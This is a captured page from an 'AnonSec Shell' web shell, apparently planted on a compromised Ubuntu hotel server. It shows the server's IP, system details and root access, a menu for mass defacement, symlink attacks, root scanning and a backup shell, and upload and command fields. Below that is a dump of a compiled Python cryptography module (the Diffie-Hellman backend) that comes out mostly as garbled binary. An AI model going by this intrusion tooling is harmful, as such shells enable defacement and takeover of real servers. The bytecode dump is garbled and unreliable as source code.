AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/dh.cpython-310.pyc
o

g�e�+�@s�ddlmZmZddlmZddlmZdd�Zdd�ZGdd	�d	ej	�Z
d
efdd�ZGd
d�dej
�ZGdd�dej�ZdS)�)�UnsupportedAlgorithm�_Reasons)�
serialization)�dhcCs�|j}|j}|�|�}|�||jk�|�||j�}|jrD|�d�}|�	||j||j�|�
|d�}|�||j||j�}|�|dk�|S�N�	BIGNUM **r�)�_lib�_ffi�DHparams_dup�openssl_assert�NULL�gc�DH_free�CRYPTOGRAPHY_IS_LIBRESSL�new�DH_get0_pqg�BN_dup�DH_set0_pqg)�dh_cdata�backend�lib�ffi�param_cdata�q�q_dup�res�r�I/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/dh.py�_dh_params_dups

rcCst||�}t||�S�N)r�
_DHParameters)rrrrrr�_dh_cdata_to_parameterss

r"c@sNeZdZdd�Zdejfdd�Zdejfdd�Zde	j
d	e	jdefd
d�Z
dS)
r!cCs||_||_dSr )�_backend�	_dh_cdata)�selfrrrrr�__init__#s
z_DHParameters.__init__�returncCs�|jj�d�}|jj�d�}|jj�d�}|jj�|j|||�|j�|d|jjjk�|j�|d|jjjk�|d|jjjkrFd}n|j�|d�}t	j
|j�|d�|j�|d�|d�S)Nrr��p�gr)r#r
rr	rr$rr
�
_bn_to_intr�DHParameterNumbers)r%r)r*r�q_valrrr�parameter_numbers's�z_DHParameters.parameter_numberscCs|j�|�Sr )r#�generate_dh_private_key�r%rrr�generate_private_key8sz"_DHParameters.generate_private_key�encoding�formatcCs~|tjjur
td��|jjjs6|jj�d�}|jj�	|j
|jjj||jjj�|d|jjjkr6tdt
j��|j�|||j
�S)Nz%Only PKCS3 serialization is supportedrr�'DH X9.42 serialization is not supported)r�ParameterFormat�PKCS3�
ValueErrorr#r	�Cryptography_HAS_EVP_PKEY_DHXr
rrr$r
rr�UNSUPPORTED_SERIALIZATION�_parameter_bytes�r%r2r3rrrr�parameter_bytes;s 
��z_DHParameters.parameter_bytesN)�__name__�
__module__�__qualname__r&rr,r.�DHPrivateKeyr1r�Encodingr5�bytesr<rrrrr!"s���r!r'cCsL|j�d�}|j�|||jj|jj�|�|d|jjk�|j�|d�S)Nrr)r
rr	rr
r�BN_num_bits)rrr)rrr�_get_dh_num_bitsSsrDc@s�eZdZdd�Zedefdd��Zdejfdd�Z	dej
defd	d
�Zdd�Z
dej
fd
d�Zdejfdd�Zdejdejdejdefdd�ZdS)�
_DHPrivateKeycCs&||_||_||_|jj�|�|_dSr )r#r$�	_evp_pkeyr	�DH_size�_key_size_bytes�r%rr�evp_pkeyrrrr&[�z_DHPrivateKey.__init__r'cC�t|j|j�Sr )rDr#r$r0rrr�key_sizeasz_DHPrivateKey.key_sizecCsT|jj�d�}|jj�d�}|jj�d�}|jj�|j|||�|j�|d|jjjk�|j�|d|jjjk�|d|jjjkrFd}n|j�|d�}|jj�d�}|jj�d�}|jj�	|j||�|j�|d|jjjk�|j�|d|jjjk�t
jt
jt
j
|j�|d�|j�|d�|d�|j�|d�d�|j�|d�d�S)Nrrr(�r.�y)�public_numbers�x)r#r
rr	rr$rr
r+�DH_get0_keyr�DHPrivateNumbers�DHPublicNumbersr,)r%r)r*rr-�pub_key�priv_keyrrr�private_numberses2���z_DHPrivateKey.private_numbers�peer_public_keycCsTt|t�s	td��|jj�|j|jjj�}|j�	||jjjk�|jj�
||jjj�}|jj�|�}|j�	|dk�|jj�
||j�}|�|dk�|jj�d�}|jj�||jjj|�}|�|dk�|j�	|ddk�|jj�d|d�}|jj�|||�}|j�	|dk�|jj�||d�dd�}|jt|�}|dkr�d||}|S)Nz%peer_public_key must be a DHPublicKeyrzsize_t *rzunsigned char[]�)�
isinstance�_DHPublicKey�	TypeErrorr#r	�EVP_PKEY_CTX_newrFr
r
rr�EVP_PKEY_CTX_free�EVP_PKEY_derive_init�EVP_PKEY_derive_set_peer�_exchange_assertr�EVP_PKEY_derive�bufferrH�len)r%rX�ctxr�keylen�buf�key�padrrr�exchange�s6
���z_DHPrivateKey.exchangecCs|s|j��}td|��dS)NzError computing shared key.)r#�_consume_errors_with_textr7)r%�ok�errors_with_textrrrra�s
��z_DHPrivateKey._exchange_assertcCs�t|j|j�}|jj�d�}|jj�|j||jjj�|j�|d|jjjk�|jj�	|d�}|j�||jjjk�|jj�
|||jjj�}|j�|dk�|j�|�}t|j||�Sr)
rr$r#r
rr	rRr
rr�DH_set0_key�_dh_cdata_to_evp_pkeyr[)r%rrU�pub_key_duprrJrrr�
public_key�s��z_DHPrivateKey.public_keycCrLr �r"r$r#r0rrr�
parameters��z_DHPrivateKey.parametersr2r3�encryption_algorithmcCs�|tjjur
td��|jjjs6|jj�d�}|jj�	|j
|jjj||jjj�|d|jjjkr6tdt
j��|j�|||||j|j
�S)Nz0DH private keys support only PKCS8 serializationrrr4)r�
PrivateFormat�PKCS8r7r#r	r8r
rrr$r
rrr9�_private_key_bytesrF)r%r2r3rurrrr�
private_bytes�s2�
���z_DHPrivateKey.private_bytesN)r=r>r?r&�property�intrMrrSrW�DHPublicKeyrBrjrarq�DHParametersrsrrArv�KeySerializationEncryptionryrrrrrEZs$$����rEc@s`eZdZdd�Zedefdd��Zdejfdd�Z	dej
fdd	�Zd
ej
dejdefdd
�ZdS)r[cCs&||_||_||_t|j|j�|_dSr )r#r$rFrD�_key_size_bitsrIrrrr&�rKz_DHPublicKey.__init__r'cCs|jSr )rr0rrrrM�sz_DHPublicKey.key_sizecCs|jj�d�}|jj�d�}|jj�d�}|jj�|j|||�|j�|d|jjjk�|j�|d|jjjk�|d|jjjkrFd}n|j�|d�}|jj�d�}|jj�	|j||jjj�|j�|d|jjjk�t
jt
j|j�|d�|j�|d�|d�|j�|d�d�S)Nrrr(rN)
r#r
rr	rr$rr
r+rRrrTr,)r%r)r*rr-rUrrrrP�s,���z_DHPublicKey.public_numberscCrLr rrr0rrrrsrtz_DHPublicKey.parametersr2r3cCs�|tjjur
td��|jjjs6|jj�d�}|jj�	|j
|jjj||jjj�|d|jjjkr6tdt
j��|j�||||jd�S)Nz>DH public keys support only SubjectPublicKeyInfo serializationrrr4)r�PublicFormat�SubjectPublicKeyInfor7r#r	r8r
rrr$r
rrr9�_public_key_bytesrFr;rrr�public_bytes
s(�
���z_DHPublicKey.public_bytesN)r=r>r?r&rzr{rMrrTrPr}rsrrAr�rBr�rrrrr[�s���r[N)�cryptography.exceptionsrr�cryptography.hazmat.primitivesr�)cryptography.hazmat.primitives.asymmetricrrr"r}r!r{rDr@rEr|r[rrrr�<module>s1

Anon7 - 2022
AnonSec Team